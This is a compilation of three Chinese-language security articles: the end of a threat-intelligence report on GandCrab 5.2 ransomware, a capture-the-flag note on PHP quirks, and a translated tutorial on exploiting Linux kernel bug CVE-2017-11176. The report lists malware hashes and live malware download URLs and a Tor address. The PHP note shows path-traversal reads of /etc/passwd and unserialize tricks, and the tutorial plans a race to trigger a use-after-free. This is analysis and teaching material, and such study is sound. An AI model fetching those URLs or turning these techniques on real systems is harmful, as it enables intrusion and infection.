a)通过RDP、VNC等途径进行爆破并入侵
b)利用U 盘、移动硬盘等移动介质进行传播
c)捆绑、隐藏在一些破解、激活、游戏工具中进行传播
d)感染 Web/FTP 服务器目录并进行传播
主要传播端口为： 445、135、139 、3389、5900 等端口
## 解决方案
请持续关注国内外厂商对Gandcrab 5.2的解密情况
Gandcrab 5.1之前版本的解密工具：
http://lesuobingdu.360.cn
## 防护建议
1、尽量关闭不必要的端口，如 445、135、139 等，对 3389、5900 等端口可进行白名单配置，只允许白名单内的 IP 连接登陆。
2、采用高强度的密码，避免使用弱口令密码，并定期更换密码。
3、安装 360 天擎新一代终端安全管理系统。
4、及时更新软件，安装补丁。
## 总结
由于Gandcrab
5.2版本会通过垃圾电子邮件分发，因此我们建议您不要打开任何未知来源的电子邮件，尤其是不要打开附件。即使附件来自常用联系人，我们也建议您在打开之前，使用360天擎对其进行扫描，以确保它不包含任何恶意文档或文件。
360威胁情报中心最后再次提醒各企业用户，加强员工的安全意识培训是企业信息安全建设中最重要的一环，如有需要，企业用户可以建设态势感知，完善资产管理及持续监控能力，并积极引入威胁情报，以尽可能防御此类攻击。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对Gandcrab 5.2的检测。
## IOCs
下面为近期Gandcrab 5.2 的IOC信息，以供参考。
d5ad7b954eace2f26a37c5b9faaf0e53
445dd888ed51e331fdcf2fa89199cca6
9b1305f5a007bbcf285728d708b244bd
0fa03c293462822f60a3ebb1a156e01c
a092fd3cf6da1885ff348b3c6d1fd922
e17a131aa1ea229a176459547c7e7a3f
f2b4239309bc461e844091814ce3cb9c
f6fffc29f5ec5e8e94e130739fad8da1
ad18697ef19bb91a98e5778555fb41c5
5363d5f1769bc5cfdd9484c9025beb1b
c7b236f53ad4360c6934c263fe882f5e
1aafc253fa9fe127f695e609c44c4db8
fa507fd54405ca99625d0afdb18a7aff
fa720701a8c8b07908202e382782ab7a
ac6df351b6516f22aec3d59caa0c5d6a
608a8be96683d0bc308a1abdb18844c3
6937f4e49a1f57b0e0f223a71235d66e
b2e8b64ff69edda0db78987048a686e2
e376c7ab4f38eb1c1ed151d9530f1243
8d690776b198c1b65ec038d1a31a77b4
23f14288b9744bb32040d533b7198b93
### 传播恶意软件的下载链接
<http://104.248.43.245/audi.exe>
<http://92.63.197.153/kg.exe>
<http://92.63.197.153/k.exe>
<http://101.96.10.37/92.63.197.153/work/1.exe>
http://159.89.142.248/wow.exe
### Tor节点
http://gandcrabmfe6mnef.onion/e49217da629e6a2d | 社区文章 |
# ctf中php的一些trick
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
获取http请求的变量值过程
对于php获取http请求的值的变量`$_GET,$_POST,$_COOKIE,$_SERVER,$_ENV,$_REQUEST,$_FILES`，在初始化请求时就注册了这么多的超全局变量
，这里从php的源代码就可以看出：
在看看php的官方文档怎么说
这里重点关照一下`$_REQUEST`，明明写的默认是包含`$_GET，$_POST 和
$_COOKIE`的数组，但是实际上却是只包含了`$_GET，$_POST`
`<?php
var_dump($_GET);
var_dump($_POST);
var_dump($_COOKIE);
var_dump($_REQUEST);
?>
`
这是为什么呢？底层代码也解释了：
<a name=”然后看看php.ini里面的默认值是多少，由于首先会选择赋值为`request_order`的值，所以就只有GP了”
class=”reference-link”>然后看看php.ini里面的默认值是多少，由于首先会选择赋值为`request_order`的值，所以就只有GP了
<a
name=”好了，现在就明白了`$_REQUEST`的值是根据`request_order`的值来先后合并的，所以这里就会出现`$_REQUEST`里面的key先被`$_GET`赋值，再被`$_POST`赋值，这样就post的值就覆盖了get在request里面注册的值了，这个点印象中已经考过几次了”
class=”reference-link”>好了，现在就明白了`$_REQUEST`的值是根据`request_order`的值来先后合并的，所以这里就会出现`$_REQUEST`里面的key先被`$_GET`赋值，再被`$_POST`赋值，这样就post的值就覆盖了get在request里面注册的值了，这个点印象中已经考过几次了
现在继续看看php对于`$_GET，$_POST 和
$_COOKIE`的处理部分是在`php_register_variable_ex`这里主要关注3个地方：
那么怎么才能获取到`$_GET`真正的变量名呢？那就是通过`$_SERVER`来获取
post的可以通过伪协议来得到真正的变量名，`php://input`
php读取文件或者获取文件的特性
<a
name=”先说一下php底层对于处理获取文件数据流是用的2个不同的方法，所以导致了`readfile("/e/../../etc/passwd")`可以成功，而`is_file("/e/../../etc/passwd")`为false”
class=”reference-link”>先说一下php底层对于处理获取文件数据流是用的2个不同的方法，所以导致了`readfile("/e/../../etc/passwd")`可以成功，而`is_file("/e/../../etc/passwd")`为false
然后就是php的伪协议了：`php://stdin,php://stdout,php://stderr,php://input,php://output,php://fd,php://memory,php://temp,php://filter`，这些里面最常用到的就是`php://filter`了，关于这个的一系列trick网上一大把，这里主要讲一下`include,require,include_once,require_once`，这4个语法关键词实际上都是调用的同一个函数，只是选择的模式不同
可以发现include和readfile这些文件读取的函数又是走的不同路线，那这样会不会出现什么差异呢？跟着源码看了一下发现，是否解析`data://和http://`实现的文件包含关键代码如下：
` if (wrapper && wrapper->is_url &&
(options & STREAM_DISABLE_URL_PROTECTION) == 0 &&
(!PG(allow_url_fopen) ||
(((options & STREAM_OPEN_FOR_INCLUDE) ||
PG(in_user_include)) && !PG(allow_url_include)))) {
if (options & REPORT_ERRORS) {
/* protocol[n] probably isn't '\0' */
if (!PG(allow_url_fopen)) {
php_error_docref(NULL, E_WARNING, "%.*s:// wrapper is disabled in the server
configuration by allow_url_fopen=0", (int)n, protocol);
} else {
php_error_docref(NULL, E_WARNING, "%.*s:// wrapper is disabled in the server
configuration by allow_url_include=0", (int)n, protocol);
}
}
return NULL;
}
`
拆开来理解一下，第一层是`wrapper && wrapper->is_url`就是判断这个数据流是否有url模式，第二层`(options &
STREAM_DISABLE_URL_PROTECTION) ==
0`通过运算判断数据流是否是url，第三层`!PG(allow_url_fopen)`判断php的配置里面是否启用了`allow_url_fopen`，`((options
& STREAM_OPEN_FOR_INCLUDE)
||PG(in_user_include))`大概是判断数据流是不是用于include，`!PG(allow_url_include)`判断php是否配置了`allow_url_include`，所以可以发现这里对include和readfile这些文件操作函数处理流程是不一样的，写个测试代码：
`<?php`
readfile($_GET[‘file’]);
include $_GET[‘file’];
?>
可以发现爆了3个错误，第一个是说配置文件里面禁用了data的数据流，第二是不能打开data的数据流，第三个是显示的不能打开文件，在include_path下面没有发现文件，所以就很明显在linux下面可以利用readfile不能读取文件，而include可以包含文件的特性了
phar的一些特性和底层处理可以参考(因为之前和师傅套路过，所以就不在写了):
<https://guokeya.github.io/post/uxwHLckwx/>
unserialize的一些特性
先看看文档，这里写了就接受一个字符串的参数，但是实际上是2个参数，还有一个callback的例子也不错
然后来看看php的源码怎么写的吧
测试代码：
`<?php
class A{
function __destruct(){
echo "ok\n";
}
}
var_dump(unserialize('O:1:"A":0:{}',["allowed_classes"=>true]));
var_dump(unserialize('O:1:"A":0:{}',["allowed_classes"=>false]));
var_dump(unserialize('O:1:"A":0:{}',["allowed_classes"=>["A"]]));
var_dump(unserialize('O:1:"A":0:{}',["allowed_classes"=>["B"]]));
?>
`
<a
name=”然后看看php处理反序列化的细节吧，具体流程在`php_var_unserialize`里面，而且可以发现反序列化失败后直接抛的error，而不是异常，抛error就不会继续后面的代码了”
class=”reference-link”>然后看看php处理反序列化的细节吧，具体流程在`php_var_unserialize`里面，而且可以发现反序列化失败后直接抛的error，而不是异常，抛error就不会继续后面的代码了
这个开启动态调试方便一点，首先配置vscode解析.re后缀的为c
先看看解析的时候，可以发现开始对”和:作为结尾进行了验证，但是取出类名后对于:和{没有验证，所以可以直接不写，也可以成功反序列化
`<?php
class A{
function __destruct(){
echo "ok";
}
}
unserialize('O:1:"A":0:{}');
unserialize('O:1:"A":0aa}');
?>
`
然后看看字符串的s判断吧，就验证了后面2个字符是不是”和;所以字符这里就没有什么问题了
然后就是字符串的S时判断是先经过处理后在进行判断的
然后看看`unserialize_str`的主要处理逻辑，其实这里就是为了把`\74`变为t，其实大概的思想就是利用16进制和2进制的特性，因为16进制的第一个数字只影响对应二进制的前4位，第二个数字就只影响后4位
<a
name=”其他几个类型的判断也没有什么特别的了，然后就是在类解析的最后还有一个解析类似魔术方法的东西`__unserialize`，而且当`__unserialize`存在时`__wakeup`是不会触发的”
class=”reference-link”>其他几个类型的判断也没有什么特别的了，然后就是在类解析的最后还有一个解析类似魔术方法的东西`__unserialize`，而且当`__unserialize`存在时`__wakeup`是不会触发的
<a
name=”然后就是`__destruct`的魔术方法调用了，即使反序列化失败，但是还是会触发cleanup，来进行清理，所以也就可以触发`__destruct`的魔术方法了”
class=”reference-link”>然后就是`__destruct`的魔术方法调用了，即使反序列化失败，但是还是会触发cleanup，来进行清理，所以也就可以触发`__destruct`的魔术方法了
还有就是当`__wakeup`里面出现了zend级别的错误，`__destruct`也不会触发了
所以我们也就可以适当的利用unserialize的报错来即执行了`__destruct`，但是又不执行后面的代码
`<?php
class A{
public $ttt;
function __destruct(){
echo "destruct";
}
}`
unserialize(‘a:2:{i:0;O:1:”A”:1:{s:3:”ttt”;N;}i:1;O:3:”PDO”:0:{}}’);
readfile(“/etc/passwd”);
?> | 社区文章 |
**本文翻译自：[CVE-2017-11176: A step-by-step Linux Kernel exploitation (part
2/4)](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html)**
# Introduction
在[前面的文章](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html)中对CVE-2017-11176漏洞进行了详细分析并提出了一个攻击场景。
通过在内核空间强制触发漏洞来验证漏洞的可达性（在System Tap的帮助下），并构建了POC的第一个版本（只能到达漏洞代码路径，并不会崩溃）。
它揭示了触发漏洞所需的三个条件（以及如何满足它们）：
* 使netlink_attachskb()返回1
* 避免阻塞exp进程
* 第二次fget()调用返回NULL
在本文中，我们将尝试不使用System Tap脚本，并仅通过用户空间的代码满足这些条件。在本文结束时，我们将有一个完整的POC，可以可靠地触发漏洞。
# 目录
* 核心概念 #2
* 主线程解除阻塞
* 使第二次循环中的fget()返回NULL
* “retry”路径
* 最终POC
* 结论
在第二个“核心概念”部分中，将介绍调度子系统。第一个重点是任务状态以及任务如何在各个状态之间转换。请注意，这里将不讨论实际的调度算法（[Completely
Fair Scheduler](https://www.linuxjournal.com/node/10267)）。
主要说明 **等待队列** ，在本文中被用来解除阻塞的线程，并在exp利用期间获取任意调用原语（参见第3部分）。
## 任务状态
任务的运行状态由task_struct中的 **state** 字段表示。任务基本上处于下面其中一种状态（还有多种状态未列出）：
* **Running** ：进程正在运行或已经准备就绪只等待在cpu上运行。
* **Waiting** ：进程正在等待某种事件/资源。
“正在运行”任务（ _TASK_RUNNING_ ）是属于 **运行队列的任务** 。它可以现在正在cpu上运行，也可以在不久的将来运行（由调度器选择）。
“等待”任务未在任何CPU上运行。它可以由 **等待队列** 或信号唤醒。等待任务的最常见状态是 _TASK_INTERRUPTIBLE_
（即“睡眠”可以被中断）。
译者注：关于任务状态可以参考这里的[链接](http://www.mywiki.cn/Hovercool/index.php/linux%E8%BF%9B%E7%A8%8B%E7%8A%B6%E6%80%81)
这里定义了各种任务状态：
// [include/linux/sched.h]
#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
// ... cut (other states) ...
可以直接修改state字段，也可以通过__set_current_state()来设置state字段。
// [include/linux/sched.h]
#define __set_current_state(state_value) \
do { current->state = (state_value); } while (0)
## 运行队列
**struct rq** (run
queue)是调度器最重要的数据结构之一。运行队列中的每个任务都将由CPU执行。每个CPU都有自己的运行队列（允许真正的多任务处理）。运行队列(run
queue)具有一个任务(由调度器选择在指定的CPU上运行)列表。还具有统计信息，使调度器做出“公平”选择并最终重新平衡每个cpu之间的负载（即cpu迁移）。
// [kernel/sched.c]
struct rq {
unsigned long nr_running; // <----- statistics
u64 nr_switches; // <----- statistics
struct task_struct *curr; // <----- the current running task on the cpu
// ...
};
**NOTE** ：“完全公平调度器（CFS）”的任务列表的存储方式更加复杂，但在这里并没有太大影响。
为了简单起见，假设任何运行队列中移出的任务将不会被执行（即不会运行在CPU上）。 **deactivate_task()**
函数将任务从运行队列中移出。与之相反， **activate_task()** 将任务加入到运行队列中。
## 阻塞任务和schedule()函数
当任务从"正在运行"状态转换到"等待"状态时，至少需要做两件事：
* 将任务的运行状态设置为TASK_INTERRUPTIBLE
* 调用deactivate_task()以移出运行队列
实际上，一般不会直接调用deactivate_task()，而是调用 **schedule()** （见下文）。
schedule()函数是调度器的主要函数。调用schedule()时，必须选择下一个在CPU上运行的任务。也就是说，必须更新运行队列的curr字段。
但是，如果调用schedule()时当前任务状态并不是正在运行（即state字段不为0），并且没有信号挂起，则会调用deactivate_task()：
asmlinkage void __sched schedule(void)
{
struct task_struct *prev, *next;
unsigned long *switch_count;
struct rq *rq;
int cpu;
// ... cut ...
prev = rq->curr; // <---- "prev" is the task running on the current CPU
if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) { // <----- ignore the "preempt" stuff
if (unlikely(signal_pending_state(prev->state, prev)))
prev->state = TASK_RUNNING;
else
deactivate_task(rq, prev, DEQUEUE_SLEEP); // <----- task is moved out of run queue
switch_count = &prev->nvcsw;
}
// ... cut (choose the next task) ...
}
最后，可以通过如下代码阻塞任务：
void make_it_block(void)
{
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
}
任务将被阻塞，直到其他 _东西_ 唤醒它。
## 等待队列
任务等待资源或特殊事件非常普遍。例如，如果运行服务器(客户端-服务器（Client/Server）架构里的Server)，主线程可能正在等待即将到来的连接。除非它被标记为“非阻塞”，否则accept()系统调用将阻塞主线程。也就是说，主线程将阻塞在内核中，直到其他
_东西_ 唤醒它。
**等待队列** 基本上是由当前阻塞(等待)的任务组成的双链表。与之相对的是运行队列。队列本身用 **wait_queue_head_t** 表示：
// [include/linux/wait.h]
typedef struct __wait_queue_head wait_queue_head_t;
struct __wait_queue_head {
spinlock_t lock;
struct list_head task_list;
};
**NOTE** ：struct list_head是Linux实现双链表的方式。
等待队列的每个元素都具有 **wait_queue_t** ：
// [include/linux.wait.h]
typedef struct __wait_queue wait_queue_t;
typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);
struct __wait_queue {
unsigned int flags;
void *private;
wait_queue_func_t func; // <----- we will get back to this
struct list_head task_list;
};
可以通过DECLARE_WAITQUEUE()宏创建一个等待队列元素...
// [include/linux/wait.h]
#define __WAITQUEUE_INITIALIZER(name, tsk) { \
.private = tsk, \
.func = default_wake_function, \
.task_list = { NULL, NULL } }
#define DECLARE_WAITQUEUE(name, tsk) \
wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk) // <----- it creates a variable!
...可以这样调用：
DECLARE_WAITQUEUE(my_wait_queue_elt, current); // <----- use the "current" macro
最后，一旦声明了一个等待队列元素，就可以通过 **add_wait_queue()** 函数将其加入到等待队列中。它基本上只是通过适当的 _加锁_
（暂时不用管）并将元素添加到双向链表中。
// [kernel/wait.c]
void add_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
unsigned long flags;
wait->flags &= ~WQ_FLAG_EXCLUSIVE;
spin_lock_irqsave(&q->lock, flags);
__add_wait_queue(q, wait); // <----- here
spin_unlock_irqrestore(&q->lock, flags);
}
static inline void __add_wait_queue(wait_queue_head_t *head, wait_queue_t *new)
{
list_add(&new->task_list, &head->task_list);
}
## 唤醒任务
到目前为止，我们知道有两种队列：运行队列和等待队列。阻塞任务就是将其从运行队列中删除（通过deactivate_task()）。但它如何从阻塞（睡眠）状态转换回运行状态？
**NOTE** ：阻塞的任务可以通过信号（和其他方式）唤醒，但在本文中不会讨论这些。
由于被阻塞的任务不再运行，因此 **无法自行唤醒** 。需要由 **别的任务** 唤醒它。
特定资源具有特定的等待队列。当任务想要访问此资源但此时不可用时，该任务可以使自己处于睡眠状态，直到资源所有者将其唤醒为止。
为了在资源可用时被唤醒，它必须将自己注册到该资源的等待队列。正如我们之前看到的，这个“注册”是通过add_wait_queue()调用完成的。
当资源可用时，所有者唤醒一个或多个任务，以便他们可以继续执行。这是通过__wake_up()函数完成的：
// [kernel/sched.c]
/**
* __wake_up - wake up threads blocked on a waitqueue.
* @q: the waitqueue
* @mode: which threads
* @nr_exclusive: how many wake-one or wake-many threads to wake up
* @key: is directly passed to the wakeup function
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/
void __wake_up(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, void *key)
{
unsigned long flags;
spin_lock_irqsave(&q->lock, flags);
__wake_up_common(q, mode, nr_exclusive, 0, key); // <----- here
spin_unlock_irqrestore(&q->lock, flags);
}
// [kernel/sched.c]
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
[0] list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;
[1] if (curr->func(curr, mode, wake_flags, key) &&
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
此函数迭代等待队列中的每个元素[0]（ **list_for_each_entry_safe()是与双链表一起使用的宏** ）。对每个元素都调用
**func()** 回调函数[1]。
还记得DECLARE_WAITQUEUE()宏吗？它将func设置为 **default_wake_function()** ：
// [include/linux/wait.h]
#define __WAITQUEUE_INITIALIZER(name, tsk) { \
.private = tsk, \
.func = default_wake_function, \ // <------ .task_list = { NULL, NULL } }
#define DECLARE_WAITQUEUE(name, tsk) \
wait_queue_t name = __WAITQUEUE_INITIALIZER(name, tsk)
default_wake_function()将等待队列元素的 **private** 字段（在大多数情况下指向睡眠任务的 _task_struct_
）作为参数调用 **try_to_wake_up()** ：
int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags,
void *key)
{
return try_to_wake_up(curr->private, mode, wake_flags);
}
最后，try_to_wake_up()有点像schedule()的“对立面”。schedule()将当前任务“调度出去”，try_to_wake_up()使其再次可调度。也就是说，它将任务加入运行队列中并更改其状态为"TASK_RUNNING"！
static int try_to_wake_up(struct task_struct *p, unsigned int state,
int wake_flags)
{
struct rq *rq;
// ... cut (find the appropriate run queue) ...
out_activate:
schedstat_inc(p, se.nr_wakeups); // <----- update some stats
if (wake_flags & WF_SYNC)
schedstat_inc(p, se.nr_wakeups_sync);
if (orig_cpu != cpu)
schedstat_inc(p, se.nr_wakeups_migrate);
if (cpu == this_cpu)
schedstat_inc(p, se.nr_wakeups_local);
else
schedstat_inc(p, se.nr_wakeups_remote);
activate_task(rq, p, en_flags); // <----- put it back to run queue!
success = 1;
p->state = TASK_RUNNING; // <----- the state has changed!
// ... cut ...
}
这里调用了 **activate_task()**
。因为任务现在回到运行队列中并且其状态为TASK_RUNNING，所以它有可能会被调度，回到之前调用schedule()中断的地方继续执行。
实际上很少直接调用__wake_up()。通常会调用这些辅助宏：
// [include/linux/wait.h]
#define wake_up(x) __wake_up(x, TASK_NORMAL, 1, NULL)
#define wake_up_nr(x, nr) __wake_up(x, TASK_NORMAL, nr, NULL)
#define wake_up_all(x) __wake_up(x, TASK_NORMAL, 0, NULL)
#define wake_up_interruptible(x) __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL)
#define wake_up_interruptible_nr(x, nr) __wake_up(x, TASK_INTERRUPTIBLE, nr, NULL)
#define wake_up_interruptible_all(x) __wake_up(x, TASK_INTERRUPTIBLE, 0, NULL)
## 一个完整的例子
这是一个简单的例子来总结上述概念：
struct resource_a {
bool resource_is_ready;
wait_queue_head_t wq;
};
void task_0_wants_resource_a(struct resource_a *res)
{
if (!res->resource_is_ready) {
// "register" to be woken up
DECLARE_WAITQUEUE(task0_wait_element, current);
add_wait_queue(&res->wq, &task0_wait_element);
// start sleeping
__set_current_state(TASK_INTERRUPTIBLE);
schedule();
// We'll restart HERE once woken up
// Remember to "unregister" from wait queue
}
// XXX: ... do something with the resource ...
}
void task_1_makes_resource_available(struct resource_a *res)
{
res->resource_is_ready = true;
wake_up_interruptible_all(&res->wq); // <--- unblock "task 0"
}
一个线程运行 _task_0_wants_resource_a()_
函数，该线程因“资源”不可用而阻塞。在晚些时候，资源所有者（来自另一个线程）使资源可用并调用
_task_1_makes_resource_available()_ 之后，task_0_wants_resource_a()可以恢复继续执行。
这是在Linux内核代码中经常可以看到的模式。注意，“资源”在这里是一个泛指。任务可以等待某个事件，某个条件为真或其他东西。
让我们继续前进并开始实现POC。
# 主线程解除阻塞
在[上一篇文章](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html)中，我们尝试使netlink_attachskb()返回1时遇到了几个问题。第一个问题是对mq_notify()的调用变为
**阻塞** 。为了避免这种情况，我们简单地绕过了对schedule_timeout()的调用，但随后，产生了 **死循环**
。我们通过从文件描述符表（FDT）中删除目标文件描述符来停止死循环，这偶然满足了最后一个条件：第二次fget()调用返回NULL。这是在System
Tap脚本的帮助下完成的：
function force_trigger:long (arg_sock:long)
%{
struct sock *sk = (void*) STAP_ARG_arg_sock;
[0] sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1; // enter the netlink_attachskb() retry path
struct files_struct *files = current->files;
struct fdtable *fdt = files_fdtable(files);
fdt->fd[3] = NULL; // makes the second call to fget() fails
%}
在本节中，我们将尝试删除设置sk的sk_flags字段的行[0]。这意味着mq_notify()的调用将再次阻塞。有两种可能：
* 设置sk的sk_flags为SOCK_DEAD（如STAP脚本所做）
* 线程解除阻塞
## 控制（并赢得）竞态
从漏洞利用者的角度来看，主线程被阻塞实际上是一件 **好事** 。还记得补丁描述中的“small window”吗？我们的攻击场景是什么？
Thread-1 | Thread-2 | file refcnt | sock refcnt | sock ptr
---|---|---|---|---
mq_notify() | | 1 | 1 | NULL
| | | |
fget(<target_fd>) -> ok</target_fd> | | 2 (+1) | 1 | NULL
| | | |
netlink_getsockbyfilp() -> ok | | 2 | 2 (+1) | 0xffffffc0aabbccdd
| | | |
fput(<target_fd>) -> ok</target_fd> | | 1 (-1) | 2 | 0xffffffc0aabbccdd
| | | |
netlink_attachskb() -> returns 1 | | 1 | 1 (-1) | 0xffffffc0aabbccdd
| | | |
| close(<target_fd>)</target_fd> | 0 (-1) | 0 (-1) | 0xffffffc0aabbccdd
| | | |
goto retry | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
fget(<TARGET_FD) -> returns NULL | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
goto out | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
netlink_detachskb() -> UAF! | | FREE | (-1) in UAF | 0xffffffc0aabbccdd
所以，“small
window”是我们有机会调用close()的地方。提醒一下，调用close()将使对fget()的调用返回NULL。竞态条件的窗口期起始于第一次调用fget()成功后，并终止于第二次调用fget()之前。在攻击场景中，netlink_attachskb()之后才调用close()，但是在system
stap脚本中我们实际上是在调用netlink_attachskb()之前就模拟close操作了（没有真的调用close）。
如果绕过不执行schedule_timeout()，那么窗口期确实“很小”。在调用netlink_attachskb()之前通过STAP脚本修改了内核数据结构，但在用户空间无法这样做。
另一方面，如果我们可以阻塞在netlink_attachskb()中并有办法解除阻塞，那么窗口期就要多长就有多长，也就是说，我们有办法 **控制竞态条件**
，可以将其视为主线程中的“断点”（breakpoint）。
攻击计划变为：
Thread-1 | Thread-2 | file refcnt | sock refcnt | sock ptr
---|---|---|---|---
mq_notify() | | 1 | 1 | NULL
fget(<target_fd>) -> ok</target_fd> | | 2 (+1) | 1 | NULL
| | | |
netlink_getsockbyfilp() -> ok | | 2 | 2 (+1) | 0xffffffc0aabbccdd
| | | |
fput(<target_fd>) -> ok</target_fd> | | 1 (-1) | 2 | 0xffffffc0aabbccdd
| | | |
netlink_attachskb() | | 1 | 2 | 0xffffffc0aabbccdd
| | | |
schedule_timeout() -> SLEEP | | 1 | 2 | 0xffffffc0aabbccdd
| | | |
| close(<target_fd>)</target_fd> | 0 (-1) | 1 (-1) | 0xffffffc0aabbccdd
| | | |
| UNBLOCK THREAD-1 | FREE | 1 | 0xffffffc0aabbccdd
<<< Thread-1 wakes up >>> | | | |
sock_put() | | FREE | 0 (-1) | 0xffffffc0aabbccdd
| | | |
netlink_attachskb() -> returns 1 | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
goto retry | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
fget(<TARGET_FD) -> returns NULL | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
goto out | | FREE | FREE | 0xffffffc0aabbccdd
| | | |
netlink_detachskb() -> UAF! | | FREE | (-1) in UAF | 0xffffffc0aabbccdd
阻塞主线程似乎是赢得竞态条件的好主意，但这意味着我们现在需要解除阻塞的线程。
## 解除阻塞
如果你现在还不理解“核心概念 #2”部分，那最好再看一下那部分内容。在本节中，我们将看到netlink_attachskb()如何开始阻塞以及如何解除阻塞。
再看一下netlink_attachskb()代码：
// [net/netlink/af_netlink.c]
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
[0] DECLARE_WAITQUEUE(wait, current);
if (!*timeo) {
// ... cut (unreachable code from mq_notify) ...
}
[1] __set_current_state(TASK_INTERRUPTIBLE);
[2] add_wait_queue(&nlk->wait, &wait);
[3] if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
[4] *timeo = schedule_timeout(*timeo);
[5] __set_current_state(TASK_RUNNING);
[6] remove_wait_queue(&nlk->wait, &wait);
sock_put(sk);
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo);
}
return 1;
}
skb_set_owner_r(skb, sk);
return 0;
}
这些代码现在看起来很熟悉。 **__set_current_state(TASK_INTERRUPTIBLE)** [1]和
**schedule_timeout()** [4]组合使当前线程阻塞。[3]处的条件成真，因为：
* 通过System Tap设置状态：nlk->state|=1
* sk状态不再是SOCK_DEAD，System Tap中删除了这一行：sk->sk_flags|=(1<<SOCK_DEAD)
**NOTE** ：调用schedule_timeout(MAX_SCHEDULE_TIMEOUT)实际上等同于调用schedule()。
如果阻塞线程已经加入到 **等待队列** （译者注：原文是 **wake queue**
，可能是作者打错？），则可以通过其他方式将其唤醒。通过[0]和[2]处将线程加入等待队列，而在[6]处移出等待队列。此处等待队列本身是 **nlk->wait**。它属于netlink_sock对象：
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk;
// ... cut ...
wait_queue_head_t wait; // <----- the wait queue
// ... cut ...
};
这意味着， **唤醒(此处)被阻塞的线程是netlink_sock对象的责任** 。
nlk->wait等待队列在四个地方被实际使用：
* __netlink_create()
* netlink_release()
* netlink_rcv_wake()
* netlink_setsockopt()
__netlink_create()在netlink套接字创建期间调用。通过 **init_waitqueue_head()** 初始化一个空的等待队列。
netlink_rcv_wake()由 **netlink_recvmsg()** 调用并在内部调用 **wake_up_interruptible()**
。它实际上是有道理的，产生阻塞的第一个原因可能是由于接收缓冲区已满。如果调用netlink_recvmsg()，那么接收缓冲区现在可能存在更多空闲空间。
当关联的文件对象即将被释放时（引用计数为0），将调用netlink_release()。它会调用
**wake_up_interruptible_all()** 。
最后，可以通过系统调用setsockopt()调用netlink_setsockopt()。如果参数“optname”是
**NETLINK_NO_ENOBUFS** ，则会调用wake_up_interruptible()。
现在有三个候选者来唤醒我们的线程（__netlink_create()被排除在外，因为它没有唤醒任何东西）。面对这些选择，我们需要一条这样的路径：
* 快速到达所需目标（在我们的例子中是wake_up_interruptible()）。尽可能少的调用过程，尽可能少的“条件”需要满足......
* 对内核几乎没有影响/副作用（没有内存分配，没有影响其他数据结构......）
出于漏洞利用原因，排除netlink_release()路径。在[第3部分](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html)会有说明。
netlink_rcv_wake()是最“复杂”的路径。在系统调用“recvmsg()”调用netlink_rcv_wake()之前，还需要满足通用套接字API中的几个检查。函数调用流程是：
- SYSCALL_DEFINE3(recvmsg)
- __sys_recvmsg
- sock_recvmsg
- __sock_recvmsg
- __sock_recvmsg_nosec // calls sock->ops->recvmsg()
- netlink_recvmsg
- netlink_rcv_wake
- wake_up_interruptible
相比之下，"setsockopt()"的调用流程是：
- SYSCALL_DEFINE5(setsockopt) // calls sock->ops->setsockopt()
- netlink_setsockopt()
- wake_up_interruptible
更简单，不是吗？
## 从setsockopt系统调用到wake_up_interruptible()
从setsockopt系统调用到wake_up_interruptible()是最简单的方法。让我们分析一下需要满足的条件：
// [net/socket.c]
SYSCALL_DEFINE5(setsockopt, int, fd, int, level, int, optname,
char __user *, optval, int, optlen)
{
int err, fput_needed;
struct socket *sock;
[0] if (optlen < 0)
return -EINVAL;
sock = sockfd_lookup_light(fd, &err, &fput_needed);
[1] if (sock != NULL) {
err = security_socket_setsockopt(sock, level, optname);
[2] if (err)
goto out_put;
[3] if (level == SOL_SOCKET)
err =
sock_setsockopt(sock, level, optname, optval,
optlen);
else
err =
[4] sock->ops->setsockopt(sock, level, optname, optval,
optlen);
out_put:
fput_light(sock->file, fput_needed);
}
return err;
}
setsockopt系统调用中需要满足如下条件：
* [0] - **optlen** 不为负
* [1] - **fd** 是一个有效的套接字
* [2] - LSM **必须** 允许我们为此套接字调用setsockopt()
* [3] - **level** 不等于SOL_SOCKET
如果我们满足这些条件，它将调用netlink_setsockopt()[4]：
// [net/netlink/af_netlink.c]
static int netlink_setsockopt(struct socket *sock, int level, int optname,
char __user *optval, unsigned int optlen)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
unsigned int val = 0;
int err;
